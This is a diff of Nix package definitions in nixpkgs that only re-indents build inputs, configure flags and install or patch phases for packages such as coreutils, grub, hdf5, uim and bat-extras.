+            > ${file + suffix}
+        '') (lib.optionals useUtf8 (map lib.escapeShellArg files))
+        + ''
+          runHook postBuild
+        '';
 
-        installPhase =
-          ''
-            runHook preInstall
-          ''
-          + lib.concatMapStrings (file: ''
-            install -Dm644 \
-              ${lib.escapeShellArg file} \
-              $out/share/skk/${lib.escapeShellArg (baseNameOf file)}
-          '') (map (file: file + suffix) files)
-          + ''
-            runHook postInstall
-          '';
+        installPhase = ''
+          runHook preInstall
+        ''
+        + lib.concatMapStrings (file: ''
+          install -Dm644 \
+            ${lib.escapeShellArg file} \
+            $out/share/skk/${lib.escapeShellArg (baseNameOf file)}
+        '') (map (file: file + suffix) files)
+        + ''
+          runHook postInstall
+        '';
 
         doInstallCheck = true;
         installCheckPhase = ''
diff --git a/pkgs/tools/inputmethods/uim/default.nix b/pkgs/tools/inputmethods/uim/default.nix
index 611e906448c2..03209bb6df75 100644
--- a/pkgs/tools/inputmethods/uim/default.nix
+++ b/pkgs/tools/inputmethods/uim/default.nix
@@ -66,44 +66,42 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-7Ng9IPF6xN1Zb9uEacq7SUhpJc1jWzneVSbbjyqL6g4=";
   };
 
-  nativeBuildInputs =
-    [
-      autoconf
-      automake
-      intltool
-      libtool
-      pkg-config
-      cmake
+  nativeBuildInputs = [
+    autoconf
+    automake
+    intltool
+    libtool
+    pkg-config
+    cmake
 
-      ruby # used by sigscheme build to generate function tables
-      librsvg # used by uim build to generate png pixmaps from svg
-    ]
-    ++ lib.optionals withQt5 [
-      qt5.wrapQtAppsHook
-    ];
+    ruby # used by sigscheme build to generate function tables
+    librsvg # used by uim build to generate png pixmaps from svg
+  ]
+  ++ lib.optionals withQt5 [
+    qt5.wrapQtAppsHook
+  ];
 
-  buildInputs =
-    [
-      ncurses
-      m17n_lib
-      m17n_db
-      expat
-    ]
-    ++ lib.optional withAnthy anthy
-    ++ lib.optional withGtk2 gtk2
-    ++ lib.optional withGtk3 gtk3
-    ++ lib.optionals withQt5 [
-      qt5.qtbase
-      qt5.qtx11extras
-    ]
-    ++ lib.optional withLibnotify libnotify
-    ++ lib.optional withSqlite sqlite
-    ++ lib.optionals withNetworking [
-      curl
-      openssl
-    ]
-    ++ lib.optional withFFI libffi
-    ++ lib.optional withMisc libeb;
+  buildInputs = [
+    ncurses
+    m17n_lib
+    m17n_db
+    expat
+  ]
+  ++ lib.optional withAnthy anthy
+  ++ lib.optional withGtk2 gtk2
+  ++ lib.optional withGtk3 gtk3
+  ++ lib.optionals withQt5 [
+    qt5.qtbase
+    qt5.qtx11extras
+  ]
+  ++ lib.optional withLibnotify libnotify
+  ++ lib.optional withSqlite sqlite
+  ++ lib.optionals withNetworking [
+    curl
+    openssl
+  ]
+  ++ lib.optional withFFI libffi
+  ++ lib.optional withMisc libeb;
 
   postPatch = ''
     patchShebangs *.sh */*.sh */*/*.sh
@@ -124,33 +122,32 @@ stdenv.mkDerivation (finalAttrs: {
     ./data-hook.patch
   ];
 
-  configureFlags =
-    [
-      # configure in maintainer mode or else some pixmaps won't get autogenerated
-      # this should imply the above `--enable-maintainer-mode`, but it does not
-      "--enable-maintainer-mode"
+  configureFlags = [
+    # configure in maintainer mode or else some pixmaps won't get autogenerated
+    # this should imply the above `--enable-maintainer-mode`, but it does not
+    "--enable-maintainer-mode"
 
-      "--enable-pref"
-      "--with-skk"
-      "--with-x"
-      "--with-xft"
-      "--with-expat=${expat.dev}"
-    ]
-    ++ lib.optional withAnthy "--with-anthy-utf8"
-    ++ lib.optional withGtk2 "--with-gtk2"
-    ++ lib.optional withGtk3 "--with-gtk3"
-    ++ lib.optionals withQt5 [
-      "--with-qt5"
-      "--with-qt5-immodule"
-    ]
-    ++ lib.optional withLibnotify "--enable-notify=libnotify"
-    ++ lib.optional withSqlite "--with-sqlite3"
-    ++ lib.optionals withNetworking [
-      "--with-curl"
-      "--with-openssl-dir=${openssl.dev}"
-    ]
-    ++ lib.optional withFFI "--with-ffi"
-    ++ lib.optional withMisc "--with-eb";
+    "--enable-pref"
+    "--with-skk"
+    "--with-x"
+    "--with-xft"
+    "--with-expat=${expat.dev}"
+  ]
+  ++ lib.optional withAnthy "--with-anthy-utf8"
+  ++ lib.optional withGtk2 "--with-gtk2"
+  ++ lib.optional withGtk3 "--with-gtk3"
+  ++ lib.optionals withQt5 [
+    "--with-qt5"
+    "--with-qt5-immodule"
+  ]
+  ++ lib.optional withLibnotify "--enable-notify=libnotify"
+  ++ lib.optional withSqlite "--with-sqlite3"
+  ++ lib.optionals withNetworking [
+    "--with-curl"
+    "--with-openssl-dir=${openssl.dev}"
+  ]
+  ++ lib.optional withFFI "--with-ffi"
+  ++ lib.optional withMisc "--with-eb";
 
   # TODO: things in `./configure --help`, but not in nixpkgs
   #--with-canna            Use Canna [default=no]
diff --git a/pkgs/tools/misc/bat-extras/buildBatExtrasPkg.nix b/pkgs/tools/misc/bat-extras/buildBatExtrasPkg.nix
index adc621108c58..ec09f788a360 100644
--- a/pkgs/tools/misc/bat-extras/buildBatExtrasPkg.nix
+++ b/pkgs/tools/misc/bat-extras/buildBatExtrasPkg.nix
@@ -48,26 +48,26 @@ stdenv.mkDerivation (
       bash
       fish
       zsh
-    ] ++ (lib.optionals stdenv.hostPlatform.isDarwin [ getconf ]);
+    ]
+    ++ (lib.optionals stdenv.hostPlatform.isDarwin [ getconf ]);
     checkPhase = ''
       runHook preCheck
       bash ./test.sh --compiled --suite ${name}
       runHook postCheck
     '';
 
-    installPhase =
-      ''
-        runHook preInstall
-        mkdir -p $out/bin
-        cp -p bin/${name} $out/bin/${name}
-      ''
-      + lib.optionalString (dependencies != [ ]) ''
-        wrapProgram $out/bin/${name} \
-          --prefix PATH : ${lib.makeBinPath dependencies}
-      ''
-      + ''
-        runHook postInstall
-      '';
+    installPhase = ''
+      runHook preInstall
+      mkdir -p $out/bin
+      cp -p bin/${name} $out/bin/${name}
+    ''
+    + lib.optionalString (dependencies != [ ]) ''
+      wrapProgram $out/bin/${name} \
+        --prefix PATH : ${lib.makeBinPath dependencies}
+    ''
+    + ''
+      runHook postInstall
+    '';
 
     # We already patched
     dontPatchShebangs = true;
diff --git a/pkgs/tools/misc/bat-extras/modules/batdiff.nix b/pkgs/tools/misc/bat-extras/modules/batdiff.nix
index 57110cc4111f..b06b7423aa55 100644
--- a/pkgs/tools/misc/bat-extras/modules/batdiff.nix
+++ b/pkgs/tools/misc/bat-extras/modules/batdiff.nix
@@ -13,6 +13,7 @@ buildBatExtrasPkg {
     less
     coreutils
     gitMinimal
-  ] ++ lib.optional withDelta delta;
+  ]
+  ++ lib.optional withDelta delta;
   meta.description = "Diff a file against the current git index, or display the diff between two files";
 }
diff --git a/pkgs/tools/misc/bat-extras/modules/batwatch.nix b/pkgs/tools/misc/bat-extras/modules/batwatch.nix
index 0293629dddc2..9d221d13cda2 100644
--- a/pkgs/tools/misc/bat-extras/modules/batwatch.nix
+++ b/pkgs/tools/misc/bat-extras/modules/batwatch.nix
@@ -12,6 +12,7 @@ buildBatExtrasPkg {
   dependencies = [
     less
     coreutils
-  ] ++ lib.optional withEntr entr;
+  ]
+  ++ lib.optional withEntr entr;
   meta.description = "Watch for changes in one or more files, and print them with bat";
 }
diff --git a/pkgs/tools/misc/bat-extras/modules/core.nix b/pkgs/tools/misc/bat-extras/modules/core.nix
index 6bb09788c948..b27f8be6e3e1 100644
--- a/pkgs/tools/misc/bat-extras/modules/core.nix
+++ b/pkgs/tools/misc/bat-extras/modules/core.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation rec {
     bash
     fish
     zsh
-  ] ++ (lib.optionals stdenv.hostPlatform.isDarwin [ getconf ]);
+  ]
+  ++ (lib.optionals stdenv.hostPlatform.isDarwin [ getconf ]);
   checkPhase = ''
     runHook preCheck
     # test list repeats suites. Unique them
diff --git a/pkgs/tools/misc/ckb-next/default.nix b/pkgs/tools/misc/ckb-next/default.nix
index 921e1094997e..7f4e76a0d5ab 100644
--- a/pkgs/tools/misc/ckb-next/default.nix
+++ b/pkgs/tools/misc/ckb-next/default.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation rec {
     qtx11extras
     libdbusmenu
     quazip
-  ] ++ lib.optional withPulseaudio libpulseaudio;
+  ]
+  ++ lib.optional withPulseaudio libpulseaudio;
 
   nativeBuildInputs = [
     wrapQtAppsHook
diff --git a/pkgs/tools/misc/coreutils/default.nix b/pkgs/tools/misc/coreutils/default.nix
index 8b0177f03fbe..6feb808706df 100644
--- a/pkgs/tools/misc/coreutils/default.nix
+++ b/pkgs/tools/misc/coreutils/default.nix
@@ -61,64 +61,63 @@ stdenv.mkDerivation rec {
     ./CVE-2025-5278.patch
   ];
 
-  postPatch =
-    ''
-      # The test tends to fail on btrfs, f2fs and maybe other unusual filesystems.
-      sed '2i echo Skipping dd sparse test && exit 77' -i ./tests/dd/sparse.sh
-      sed '2i echo Skipping du threshold test && exit 77' -i ./tests/du/threshold.sh
-      sed '2i echo Skipping cp reflink-auto test && exit 77' -i ./tests/cp/reflink-auto.sh
-      sed '2i echo Skipping cp sparse test && exit 77' -i ./tests/cp/sparse.sh
-      sed '2i echo Skipping env test && exit 77' -i ./tests/env/env.sh
-      sed '2i echo Skipping rm deep-2 test && exit 77' -i ./tests/rm/deep-2.sh
-      sed '2i echo Skipping du long-from-unreadable test && exit 77' -i ./tests/du/long-from-unreadable.sh
+  postPatch = ''
+    # The test tends to fail on btrfs, f2fs and maybe other unusual filesystems.
+    sed '2i echo Skipping dd sparse test && exit 77' -i ./tests/dd/sparse.sh
+    sed '2i echo Skipping du threshold test && exit 77' -i ./tests/du/threshold.sh
+    sed '2i echo Skipping cp reflink-auto test && exit 77' -i ./tests/cp/reflink-auto.sh
+    sed '2i echo Skipping cp sparse test && exit 77' -i ./tests/cp/sparse.sh
+    sed '2i echo Skipping env test && exit 77' -i ./tests/env/env.sh
+    sed '2i echo Skipping rm deep-2 test && exit 77' -i ./tests/rm/deep-2.sh
+    sed '2i echo Skipping du long-from-unreadable test && exit 77' -i ./tests/du/long-from-unreadable.sh
 
-      # The test tends to fail on cephfs
-      sed '2i echo Skipping df total-verify test && exit 77' -i ./tests/df/total-verify.sh
+    # The test tends to fail on cephfs
+    sed '2i echo Skipping df total-verify test && exit 77' -i ./tests/df/total-verify.sh
 
-      # Some target platforms, especially when building inside a container have
-      # issues with the inotify test.
-      sed '2i echo Skipping tail inotify dir recreate test && exit 77' -i ./tests/tail/inotify-dir-recreate.sh
+    # Some target platforms, especially when building inside a container have
+    # issues with the inotify test.
+    sed '2i echo Skipping tail inotify dir recreate test && exit 77' -i ./tests/tail/inotify-dir-recreate.sh
 
-      # sandbox does not allow setgid
-      sed '2i echo Skipping chmod setgid test && exit 77' -i ./tests/chmod/setgid.sh
-      substituteInPlace ./tests/install/install-C.sh \
-        --replace 'mode3=2755' 'mode3=1755'
+    # sandbox does not allow setgid
+    sed '2i echo Skipping chmod setgid test && exit 77' -i ./tests/chmod/setgid.sh
+    substituteInPlace ./tests/install/install-C.sh \
+      --replace 'mode3=2755' 'mode3=1755'
 
-      # Fails on systems with a rootfs. Looks like a bug in the test, see
-      # https://lists.gnu.org/archive/html/bug-coreutils/2019-12/msg00000.html
-      sed '2i print "Skipping df skip-rootfs test"; exit 77' -i ./tests/df/skip-rootfs.sh
+    # Fails on systems with a rootfs. Looks like a bug in the test, see
+    # https://lists.gnu.org/archive/html/bug-coreutils/2019-12/msg00000.html
+    sed '2i print "Skipping df skip-rootfs test"; exit 77' -i ./tests/df/skip-rootfs.sh
 
-      # these tests fail in the unprivileged nix sandbox (without nix-daemon) as we break posix assumptions
-      for f in ./tests/chgrp/{basic.sh,recurse.sh,default-no-deref.sh,no-x.sh,posix-H.sh}; do
-        sed '2i echo Skipping chgrp && exit 77' -i "$f"
-      done
-      for f in gnulib-tests/{test-chown.c,test-fchownat.c,test-lchown.c}; do
-        echo "int main() { return 77; }" > "$f"
-      done
+    # these tests fail in the unprivileged nix sandbox (without nix-daemon) as we break posix assumptions
+    for f in ./tests/chgrp/{basic.sh,recurse.sh,default-no-deref.sh,no-x.sh,posix-H.sh}; do
+      sed '2i echo Skipping chgrp && exit 77' -i "$f"
+    done
+    for f in gnulib-tests/{test-chown.c,test-fchownat.c,test-lchown.c}; do
+      echo "int main() { return 77; }" > "$f"
+    done
 
-      # We don't have localtime in the sandbox
-      for f in gnulib-tests/{test-localtime_r.c,test-localtime_r-mt.c}; do
-        echo "int main() { return 77; }" > "$f"
-      done
+    # We don't have localtime in the sandbox
+    for f in gnulib-tests/{test-localtime_r.c,test-localtime_r-mt.c}; do
+      echo "int main() { return 77; }" > "$f"
+    done
 
-      # intermittent failures on builders, unknown reason
-      sed '2i echo Skipping du basic test && exit 77' -i ./tests/du/basic.sh
+    # intermittent failures on builders, unknown reason
+    sed '2i echo Skipping du basic test && exit 77' -i ./tests/du/basic.sh
 
-      # fails when syscalls related to acl not being available, e.g. in sandboxed environment
-      sed '2i echo Skipping ls -al with acl test && exit 77' -i ./tests/ls/acl.sh
-    ''
-    + (optionalString (stdenv.hostPlatform.libc == "musl") (
-      concatStringsSep "\n" [
-        ''
-          echo "int main() { return 77; }" > gnulib-tests/test-parse-datetime.c
-          echo "int main() { return 77; }" > gnulib-tests/test-getlogin.c
-        ''
-      ]
-    ))
-    + (optionalString stdenv.hostPlatform.isAarch64 ''
-      # Sometimes fails: https://github.com/NixOS/nixpkgs/pull/143097#issuecomment-954462584
-      sed '2i echo Skipping cut huge range test && exit 77' -i ./tests/cut/cut-huge-range.sh
-    '');
+    # fails when syscalls related to acl not being available, e.g. in sandboxed environment
+    sed '2i echo Skipping ls -al with acl test && exit 77' -i ./tests/ls/acl.sh
+  ''
+  + (optionalString (stdenv.hostPlatform.libc == "musl") (
+    concatStringsSep "\n" [
+      ''
+        echo "int main() { return 77; }" > gnulib-tests/test-parse-datetime.c
+        echo "int main() { return 77; }" > gnulib-tests/test-getlogin.c
+      ''
+    ]
+  ))
+  + (optionalString stdenv.hostPlatform.isAarch64 ''
+    # Sometimes fails: https://github.com/NixOS/nixpkgs/pull/143097#issuecomment-954462584
+    sed '2i echo Skipping cut huge range test && exit 77' -i ./tests/cut/cut-huge-range.sh
+  '');
 
   outputs = [
     "out"
@@ -126,16 +125,15 @@ stdenv.mkDerivation rec {
   ];
   separateDebugInfo = true;
 
-  nativeBuildInputs =
-    [
-      perl
-      xz.bin
-    ]
-    ++ optionals stdenv.hostPlatform.isCygwin [
-      # due to patch
-      autoreconfHook
-      texinfo
-    ];
+  nativeBuildInputs = [
+    perl
+    xz.bin
+  ]
+  ++ optionals stdenv.hostPlatform.isCygwin [
+    # due to patch
+    autoreconfHook
+    texinfo
+  ];
 
   buildInputs =
     [ ]
@@ -152,32 +150,33 @@ stdenv.mkDerivation rec {
 
   hardeningDisable = [ "trivialautovarinit" ];
 
-  configureFlags =
-    [ "--with-packager=https://nixos.org" ]
-    ++ optional (singleBinary != false) (
-      "--enable-single-binary" + optionalString (isString singleBinary) "=${singleBinary}"
-    )
-    ++ optional withOpenssl "--with-openssl"
-    ++ optional stdenv.hostPlatform.isSunOS "ac_cv_func_inotify_init=no"
-    ++ optional withPrefix "--program-prefix=g"
-    # the shipped configure script doesn't enable nls, but using autoreconfHook
-    # does so which breaks the build
-    ++ optional stdenv.hostPlatform.isDarwin "--disable-nls"
-    # The VMULL-based CRC implementation produces incorrect results on musl.
-    # https://lists.gnu.org/archive/html/bug-coreutils/2025-02/msg00046.html
-    ++ optional (
-      stdenv.hostPlatform.config == "aarch64-unknown-linux-musl"
-    ) "utils_cv_vmull_intrinsic_exists=no"
-    ++ optionals (isCross && stdenv.hostPlatform.libc == "glibc") [
-      # TODO(19b98110126fde7cbb1127af7e3fe1568eacad3d): Needed for fstatfs() I
-      # don't know why it is not properly detected cross building with glibc.
-      "fu_cv_sys_stat_statfs2_bsize=yes"
-    ]
-    # /proc/uptime is available on Linux and produces accurate results even if
-    # the boot time is set to the epoch because the system has no RTC. We
-    # explicitly enable it for cases where it can't be detected automatically,
-    # such as when cross-compiling.
-    ++ optional stdenv.hostPlatform.isLinux "gl_cv_have_proc_uptime=yes";
+  configureFlags = [
+    "--with-packager=https://nixos.org"
+  ]
+  ++ optional (singleBinary != false) (
+    "--enable-single-binary" + optionalString (isString singleBinary) "=${singleBinary}"
+  )
+  ++ optional withOpenssl "--with-openssl"
+  ++ optional stdenv.hostPlatform.isSunOS "ac_cv_func_inotify_init=no"
+  ++ optional withPrefix "--program-prefix=g"
+  # the shipped configure script doesn't enable nls, but using autoreconfHook
+  # does so which breaks the build
+  ++ optional stdenv.hostPlatform.isDarwin "--disable-nls"
+  # The VMULL-based CRC implementation produces incorrect results on musl.
+  # https://lists.gnu.org/archive/html/bug-coreutils/2025-02/msg00046.html
+  ++ optional (
+    stdenv.hostPlatform.config == "aarch64-unknown-linux-musl"
+  ) "utils_cv_vmull_intrinsic_exists=no"
+  ++ optionals (isCross && stdenv.hostPlatform.libc == "glibc") [
+    # TODO(19b98110126fde7cbb1127af7e3fe1568eacad3d): Needed for fstatfs() I
+    # don't know why it is not properly detected cross building with glibc.
+    "fu_cv_sys_stat_statfs2_bsize=yes"
+  ]
+  # /proc/uptime is available on Linux and produces accurate results even if
+  # the boot time is set to the epoch because the system has no RTC. We
+  # explicitly enable it for cases where it can't be detected automatically,
+  # such as when cross-compiling.
+  ++ optional stdenv.hostPlatform.isLinux "gl_cv_have_proc_uptime=yes";
 
   # The tests are known broken on Cygwin
   # (http://article.gmane.org/gmane.comp.gnu.core-utils.bugs/19025),
diff --git a/pkgs/tools/misc/file/default.nix b/pkgs/tools/misc/file/default.nix
index c9f0f0f859bf..125910013782 100644
--- a/pkgs/tools/misc/file/default.nix
+++ b/pkgs/tools/misc/file/default.nix
@@ -50,7 +50,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [
     updateAutotoolsGnuConfigScriptsHook
-  ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) file;
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) file;
   buildInputs = [ zlib ] ++ lib.optional stdenv.hostPlatform.isWindows libgnurx;
 
   # https://bugs.astron.com/view.php?id=382
diff --git a/pkgs/tools/misc/graylog/graylog.nix b/pkgs/tools/misc/graylog/graylog.nix
index 9e17f21515be..3890f493f295 100644
--- a/pkgs/tools/misc/graylog/graylog.nix
+++ b/pkgs/tools/misc/graylog/graylog.nix
@@ -36,17 +36,16 @@ stdenv.mkDerivation rec {
 
   passthru.tests = { inherit (nixosTests) graylog; };
 
-  installPhase =
-    ''
-      mkdir -p $out
-      cp -r {graylog.jar,bin,plugin} $out
-    ''
-    + lib.optionalString (lib.versionOlder version "4.3") ''
-      cp -r lib $out
-    ''
-    + ''
-      wrapProgram $out/bin/graylogctl $makeWrapperArgs
-    '';
+  installPhase = ''
+    mkdir -p $out
+    cp -r {graylog.jar,bin,plugin} $out
+  ''
+  + lib.optionalString (lib.versionOlder version "4.3") ''
+    cp -r lib $out
+  ''
+  + ''
+    wrapProgram $out/bin/graylogctl $makeWrapperArgs
+  '';
 
   meta = with lib; {
     description = "Open source log management solution";
diff --git a/pkgs/tools/misc/grub/default.nix b/pkgs/tools/misc/grub/default.nix
index 43d06dcc5a5c..4e795fd6607e 100644
--- a/pkgs/tools/misc/grub/default.nix
+++ b/pkgs/tools/misc/grub/default.nix
@@ -520,18 +520,17 @@ stdenv.mkDerivation rec {
     automake
     help2man
   ];
-  buildInputs =
-    [
-      ncurses
-      libusb-compat-0_1
-      freetype
-      lvm2
-      fuse
-      libtool
-      bash
-    ]
-    ++ lib.optional doCheck qemu
-    ++ lib.optional zfsSupport zfs;
+  buildInputs = [
+    ncurses
+    libusb-compat-0_1
+    freetype
+    lvm2
+    fuse
+    libtool
+    bash
+  ]
+  ++ lib.optional doCheck qemu
+  ++ lib.optional zfsSupport zfs;
 
   strictDeps = true;
 
@@ -583,32 +582,31 @@ stdenv.mkDerivation rec {
     make dist
   '';
 
-  configureFlags =
-    [
-      "--enable-grub-mount" # dep of os-prober
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      # grub doesn't do cross-compilation as usual and tries to use unprefixed
-      # tools to target the host. Provide toolchain information explicitly for
-      # cross builds.
-      #
-      # Ref: # https://github.com/buildroot/buildroot/blob/master/boot/grub2/grub2.mk#L108
-      "TARGET_CC=${stdenv.cc.targetPrefix}cc"
-      "TARGET_NM=${stdenv.cc.targetPrefix}nm"
-      "TARGET_OBJCOPY=${stdenv.cc.targetPrefix}objcopy"
-      "TARGET_RANLIB=${stdenv.cc.targetPrefix}ranlib"
-      "TARGET_STRIP=${stdenv.cc.targetPrefix}strip"
-    ]
-    ++ lib.optional zfsSupport "--enable-libzfs"
-    ++ lib.optionals efiSupport [
-      "--with-platform=efi"
-      "--target=${efiSystemsBuild.${stdenv.hostPlatform.system}.target}"
-      "--program-prefix="
-    ]
-    ++ lib.optionals xenSupport [
-      "--with-platform=xen"
-      "--target=${efiSystemsBuild.${stdenv.hostPlatform.system}.target}"
-    ];
+  configureFlags = [
+    "--enable-grub-mount" # dep of os-prober
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    # grub doesn't do cross-compilation as usual and tries to use unprefixed
+    # tools to target the host. Provide toolchain information explicitly for
+    # cross builds.
+    #
+    # Ref: # https://github.com/buildroot/buildroot/blob/master/boot/grub2/grub2.mk#L108
+    "TARGET_CC=${stdenv.cc.targetPrefix}cc"
+    "TARGET_NM=${stdenv.cc.targetPrefix}nm"
+    "TARGET_OBJCOPY=${stdenv.cc.targetPrefix}objcopy"
+    "TARGET_RANLIB=${stdenv.cc.targetPrefix}ranlib"
+    "TARGET_STRIP=${stdenv.cc.targetPrefix}strip"
+  ]
+  ++ lib.optional zfsSupport "--enable-libzfs"
+  ++ lib.optionals efiSupport [
+    "--with-platform=efi"
+    "--target=${efiSystemsBuild.${stdenv.hostPlatform.system}.target}"
+    "--program-prefix="
+  ]
+  ++ lib.optionals xenSupport [
+    "--with-platform=xen"
+    "--target=${efiSystemsBuild.${stdenv.hostPlatform.system}.target}"
+  ];
 
   # save target that grub is compiled for
   grubTarget =
diff --git a/pkgs/tools/misc/hdf5/default.nix b/pkgs/tools/misc/hdf5/default.nix
index 23e469383adc..8ab43953fcb7 100644
--- a/pkgs/tools/misc/hdf5/default.nix
+++ b/pkgs/tools/misc/hdf5/default.nix
@@ -69,64 +69,63 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     removeReferencesTo
     cmake
-  ] ++ optional fortranSupport fortran;
+  ]
+  ++ optional fortranSupport fortran;
 
   buildInputs =
     optional fortranSupport fortran ++ optional szipSupport szip ++ optional javaSupport jdk;
 
   propagatedBuildInputs = optional zlibSupport zlib ++ optional mpiSupport mpi;
 
-  cmakeFlags =
-    [
-      "-DHDF5_INSTALL_CMAKE_DIR=${placeholder "dev"}/lib/cmake"
-      "-DBUILD_STATIC_LIBS=${lib.boolToString enableStatic}"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "-DHDF5_BUILD_WITH_INSTALL_NAME=ON"
-    ++ lib.optional cppSupport "-DHDF5_BUILD_CPP_LIB=ON"
-    ++ lib.optional fortranSupport "-DHDF5_BUILD_FORTRAN=ON"
-    ++ lib.optional szipSupport "-DHDF5_ENABLE_SZIP_SUPPORT=ON"
-    ++ lib.optionals mpiSupport [ "-DHDF5_ENABLE_PARALLEL=ON" ]
-    ++ lib.optional enableShared "-DBUILD_SHARED_LIBS=ON"
-    ++ lib.optional javaSupport "-DHDF5_BUILD_JAVA=ON"
-    ++ lib.optional usev110Api "-DDEFAULT_API_VERSION=v110"
-    ++ lib.optionals threadsafe [
-      "-DDHDF5_ENABLE_THREADSAFE:BOOL=ON"
-      "-DHDF5_BUILD_HL_LIB=OFF"
-    ]
-    # broken in nixpkgs since around 1.14.3 -> 1.14.4.3
-    # https://github.com/HDFGroup/hdf5/issues/4208#issuecomment-2098698567
-    ++ lib.optional (
-      stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64
-    ) "-DHDF5_ENABLE_NONSTANDARD_FEATURE_FLOAT16=OFF";
+  cmakeFlags = [
+    "-DHDF5_INSTALL_CMAKE_DIR=${placeholder "dev"}/lib/cmake"
+    "-DBUILD_STATIC_LIBS=${lib.boolToString enableStatic}"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "-DHDF5_BUILD_WITH_INSTALL_NAME=ON"
+  ++ lib.optional cppSupport "-DHDF5_BUILD_CPP_LIB=ON"
+  ++ lib.optional fortranSupport "-DHDF5_BUILD_FORTRAN=ON"
+  ++ lib.optional szipSupport "-DHDF5_ENABLE_SZIP_SUPPORT=ON"
+  ++ lib.optionals mpiSupport [ "-DHDF5_ENABLE_PARALLEL=ON" ]
+  ++ lib.optional enableShared "-DBUILD_SHARED_LIBS=ON"
+  ++ lib.optional javaSupport "-DHDF5_BUILD_JAVA=ON"
+  ++ lib.optional usev110Api "-DDEFAULT_API_VERSION=v110"
+  ++ lib.optionals threadsafe [
+    "-DDHDF5_ENABLE_THREADSAFE:BOOL=ON"
+    "-DHDF5_BUILD_HL_LIB=OFF"
+  ]
+  # broken in nixpkgs since around 1.14.3 -> 1.14.4.3
+  # https://github.com/HDFGroup/hdf5/issues/4208#issuecomment-2098698567
+  ++ lib.optional (
+    stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64
+  ) "-DHDF5_ENABLE_NONSTANDARD_FEATURE_FLOAT16=OFF";
 
-  postInstall =
-    ''
-      find "$out" -type f -exec remove-references-to -t ${stdenv.cc} '{}' +
-      moveToOutput 'bin/' "''${!outputBin}"
-      moveToOutput 'bin/h5cc' "''${!outputDev}"
-      moveToOutput 'bin/h5c++' "''${!outputDev}"
-      moveToOutput 'bin/h5fc' "''${!outputDev}"
-      moveToOutput 'bin/h5pcc' "''${!outputDev}"
-      moveToOutput 'bin/h5hlcc' "''${!outputDev}"
-      moveToOutput 'bin/h5hlc++' "''${!outputDev}"
-    ''
-    +
-      lib.optionalString enableShared
-        # The shared build creates binaries with -shared suffixes,
-        # so we remove these suffixes.
-        ''
-          pushd ''${!outputBin}/bin
-          for file in *-shared; do
-            mv "$file" "''${file%%-shared}"
-          done
-          popd
-        ''
-    + lib.optionalString fortranSupport ''
-      mv $out/mod/shared $dev/include
-      rm -r $out/mod
+  postInstall = ''
+    find "$out" -type f -exec remove-references-to -t ${stdenv.cc} '{}' +
+    moveToOutput 'bin/' "''${!outputBin}"
+    moveToOutput 'bin/h5cc' "''${!outputDev}"
+    moveToOutput 'bin/h5c++' "''${!outputDev}"
+    moveToOutput 'bin/h5fc' "''${!outputDev}"
+    moveToOutput 'bin/h5pcc' "''${!outputDev}"
+    moveToOutput 'bin/h5hlcc' "''${!outputDev}"
+    moveToOutput 'bin/h5hlc++' "''${!outputDev}"
+  ''
+  +
+    lib.optionalString enableShared
+      # The shared build creates binaries with -shared suffixes,
+      # so we remove these suffixes.
+      ''
+        pushd ''${!outputBin}/bin
+        for file in *-shared; do
+          mv "$file" "''${file%%-shared}"
+        done
+        popd
+      ''
+  + lib.optionalString fortranSupport ''
+    mv $out/mod/shared $dev/include
+    rm -r $out/mod
 
-      find "$out" -type f -exec remove-references-to -t ${fortran} '{}' +
-    '';
+    find "$out" -type f -exec remove-references-to -t ${fortran} '{}' +
+  '';
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/tools/misc/heimdall/default.nix b/pkgs/tools/misc/heimdall/default.nix
index 90af4652dad1..cb8e7e9f1647 100644
--- a/pkgs/tools/misc/heimdall/default.nix
+++ b/pkgs/tools/misc/heimdall/default.nix
@@ -24,7 +24,8 @@ mkDerivation rec {
   buildInputs = [
     zlib
     libusb1
-  ] ++ lib.optional enableGUI qtbase;
+  ]
+  ++ lib.optional enableGUI qtbase;
   nativeBuildInputs = [ cmake ];
 
   cmakeFlags = [
@@ -32,14 +33,13 @@ mkDerivation rec {
     "-DLIBUSB_LIBRARY=${libusb1}"
   ];
 
-  preConfigure =
-    ''
-      # Give ownership of the Galaxy S USB device to the logged in user.
-      substituteInPlace heimdall/60-heimdall.rules --replace 'MODE="0666"' 'TAG+="uaccess"'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace libpit/CMakeLists.txt --replace "-std=gnu++11" ""
-    '';
+  preConfigure = ''
+    # Give ownership of the Galaxy S USB device to the logged in user.
+    substituteInPlace heimdall/60-heimdall.rules --replace 'MODE="0666"' 'TAG+="uaccess"'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace libpit/CMakeLists.txt --replace "-std=gnu++11" ""
+  '';
 
   installPhase =
     lib.optionalString (stdenv.hostPlatform.isDarwin && enableGUI) ''
diff --git a/pkgs/tools/misc/moreutils/default.nix b/pkgs/tools/misc/moreutils/default.nix
index e4b6f639a055..8842122cca6a 100644
--- a/pkgs/tools/misc/moreutils/default.nix
+++ b/pkgs/tools/misc/moreutils/default.nix
@@ -32,17 +32,16 @@ stdenv.mkDerivation rec {
     docbook-xsl
     docbook_xml_dtd_44
   ];
-  buildInputs =
-    [
-      (perl.withPackages (p: [
-        p.IPCRun
-        p.TimeDate
-        p.TimeDuration
-      ]))
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-    ];
+  buildInputs = [
+    (perl.withPackages (p: [
+      p.IPCRun
+      p.TimeDate
+      p.TimeDuration
+    ]))
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+  ];
 
   makeFlags = [
